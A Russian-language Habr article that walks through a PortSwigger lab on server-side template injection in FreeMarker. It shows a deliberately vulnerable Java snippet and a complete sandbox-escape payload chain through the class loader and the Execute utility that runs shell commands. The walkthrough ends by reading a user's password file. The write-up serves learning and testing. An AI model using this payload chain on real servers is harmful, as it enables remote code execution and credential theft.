Эксплуатируем уязвимость внедрения шаблонов на стороне сервера в обход песочницы

Привет, Хабр, на связи лаборатория кибербезопасности компании AP Security!   Сегодня речь пойдет о том, как можно использовать уязвимость внедрения шаблонов на стороне сервера (SSTI), когда сервер жертвы находится в изолированной среде (песочнице), при которой можно добиться удаленного выполнения кода (RCE). Всем приятного прочтения!

f6b033e7b9d4290d377a3f353e3d6fa8.png

Дисклеймер
Все методы примененные в статье продемонстрированы в учебных целях.

Введение

Идея рассказать об этом появилась потому, что до сих пор я не нашёл ни единой информации об этом на русском сегменте Интернета. Собственно и почему я считаю эту тему вполне актуальной.

Пример уязвимого для SSTI кода:

Представьте себе следующий Java-код для простой функции приветствия.

public static String helloName(String name) {
  StringTemplateLoader stringTemplate = new StringTemplateLoader();
  Configuration configuration = new Configuration(Configuration.VERSION_2_3_28);
  configuration.setTemplateLoader();

  stringTemplate.putTemplate("template", "Hello " + name + "!");

  Template template = configuration.getTemplate("template");
  Writer writer = new StringWriter();
  template.process(null, writer);

  return writer.toString();
}

Здесь переменная имени предоставляется пользователем и используется непосредственно в коде шаблона. Это базовая инъекция шаблона.
Вот как выглядит шаблон после подстановки переменной:

$name=Riko

Запрос будет выглядеть следующим образом:

Hello Riko!

Теперь мы можем попробовать внедрить сюда нагрузку выполнения простейшей арифметической операции, для того, чтобы удостовериться, что наш запрос обрабатывается на стороне сервера:

$name=${7*7}

Когда $name является валидным кодом, сервер интерпретирует его и выдает результат. Вместо результата Hello ${77}! пользователь получит Hello 49!
Но это не единственное, что может сделать злоумышленник в таком сценарии. Используя внутреннюю функцию из Freemarker, можно сделать гораздо больше, например:

${"freemarker.template.utility.Execute"?new()("id")}

Как правило, песочницы используют для запуска непроверенного кода из неизвестных источников, как средство проактивной защиты. Это значит, что находясь в песочнице, большинство функций, которые мы можем использовать в качестве нагрузки, не выполняются. Но мы же понимаем, что «большинство» это не все, поэтому давайте разбираться, что мы можем сделать.

В качестве примера, я использую лабораторную работу PortSwigger Academy:

9a1df45957c9f971ef08763dc957e492.png

Разведка

Как мы видим из описания, в лабораторной работе используется шаблонизатор FreeMarker, который уязвим к SSTI, и, чтобы пройти лабораторную работу, мы должны выйти за пределы песочницы и прочитать пароль пользователя Carlos из файла my_password.txt в его домашнем каталоге.

Итак, давайте разбираться.

59d77df6ddfd913f4010f61e5ba34b43.png

Нас встречает сайт магазина, в котором можно посмотреть детали каждого продукта, а также авторизоваться, но об этом попозже.
Нажмем на какой-нибудь из товаров и посмотрим, что там есть.

2ba7eacb0ed9df725ef9f93af6db87fc.png

Неавторизованный пользователь видит только описание продукта и ничего более. Давайте попробуем авторизоваться под пользователем content-manager:

3dfecc3e3922fe9b47ba149529243e11.png

После авторизации, мы видим, что можно сменить почту (потенциально может быть уязвимым), но SSTI тут и не пахнет, поэтому пройдём дальше в описание продукта. Как и предполагалось, контент-менеджер может изменять содержание описания товара, нажав на появившуюся кнопку Edit template (название говорит само за себя).

6aab87a1fc5bbff2c1103e0e65cc52d9.png

Точка опоры

Я использовал классическую нагрузку, для того, чтобы удостовериться, что движок выполняет базовые арифметические операции:

63b37d0a130d12bd9e42dd0541ccb22e.png

Отлично, но теперь давайте посмотрим, что возможно сделать с этим.
Посмотрев документацию шаблонизатора FreeMarker я понял, что класс freemarker.template.utility.Execute из пакета freemarker.template.utility предоставляет ему возможность выполнения внешних команд. Используя этот класс, можно запускать команды из шаблонов FreeMarker.
Давайте попробуем использовать обычную нагрузку из этого класса, чтобы просмотреть реакцию сервера:

${"freemarker.template.utility.Execute"?new()("ls")}

f72d1cda8c72f560e38cb0925db783ca.png

Увы, при попытке инъекции произошла ошибка, в результате которой была создана трассировка стека.
И тут я начал копаться в документации FreeMarker, в результате чего заметил, что движок допускает объявление новых переменных с помощью специальных символов <>.

Можем также заметить, что есть доступ к объекту product, к которому сервер обращается, чтобы вывести цену, количество и название товара. Тогда создадим нужные нам переменные в этом объекте.

Пишем нагрузку

Для начала присвоим значение article.class.protectionDomain.classLoader к переменной classloader. Это позволит получить доступ к загрузчику классов, связанному с доменом защиты объекта product.

<#assign classloader=product.class.protectionDomain.classLoader>

Теперь с помощью метода loadClass объекта classloader загрузим класс freemarker.template.ObjectWrapper. Это позволит получить доступ к методам и свойствам класса ObjectWrapper, которые используются для выполнения различных операций и получения информации, связанной с оберткой объектов в шаблонизаторе Freemarker.

Загрузив класс ObjectWrapper, мы можем взаимодействовать с его функциональностью и использовать его возможности в коде. Это включает в себя работу с оберткой, манипулированием и рендерингом объектов в контексте шаблонов Freemarker.

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

Выражение owc.getField("DEFAULT_WRAPPER") используется для получения объекта Field, представляющего поле с именем DEFAULT_WRAPPER в классе ObjectWrapper. Метод getField используется для получения поля по его имени.

После этого на объекте Field вызывается метод .get(null) для получения значения поля. Поскольку поле является статическим и не требует создания экземпляра, в качестве аргумента передается null.

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

Эта строка отвечает за присвоение значения, полученного из classloader.loadClass("freemarker.template.utility.Execute")в переменную ec.

Вот что происходит в теории:

  • Вызывается метод loadClass объекта classloader, который пытается загрузить класс с именем freemarker.template.utility.Execute.

  • Возвращенный объект класса присваивается переменной ec.

  • Класс Execute — это класс-утилита в Freemarker, который, предоставляет возможность выполнения определенных операций в шаблонизаторе.

Таким образом, строка загружает класс Execute с помощью метода loadClass и присваивает его переменной ec. Это позволяет потенциально использовать возможности или методы класса Execute в следующей нагрузке:

${dwf.newInstance(ec,null)("ls")}

Эта строка отвечает за создание нового объекта dwf, который имеет значение поля DEFAULT_WRAPPER.
Метод newInstance вызывается в объекте dwf, провоцируя создание нового экземпляра. В качестве аргумента конструктора при создании нового экземпляра передается объект ec. Полученный экземпляр сразу же вызывается как метод с аргументом ls.

Окончательная нагрузка будет выглядеть следующим образом:

<#assign classloader=product.class.protectionDomain.classLoader>   
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>  
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>   
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> 
${dwf.newInstance(ec,null)("ls")}

Он обойдет песочницу и выполнит команду.

010a196fe4e17fc106eaa9a9d5efad6d.png

Остаётся только поменять ls на cat my_password.txt и лабораторная решена!

Заключение

Для того, чтобы написать собственный эксплойт с использованием цепочки объектов, первым шагом является идентификация объектов и методов к которым у вас есть доступ. Некоторые объекты могут сразу показаться интересными. Комбинируя собственные знания и информацию, представленную в документации, вы сможете составить свой список объектов, которые необходимо изучить более тщательно, для создания собственной нагрузки

© Habrahabr.ru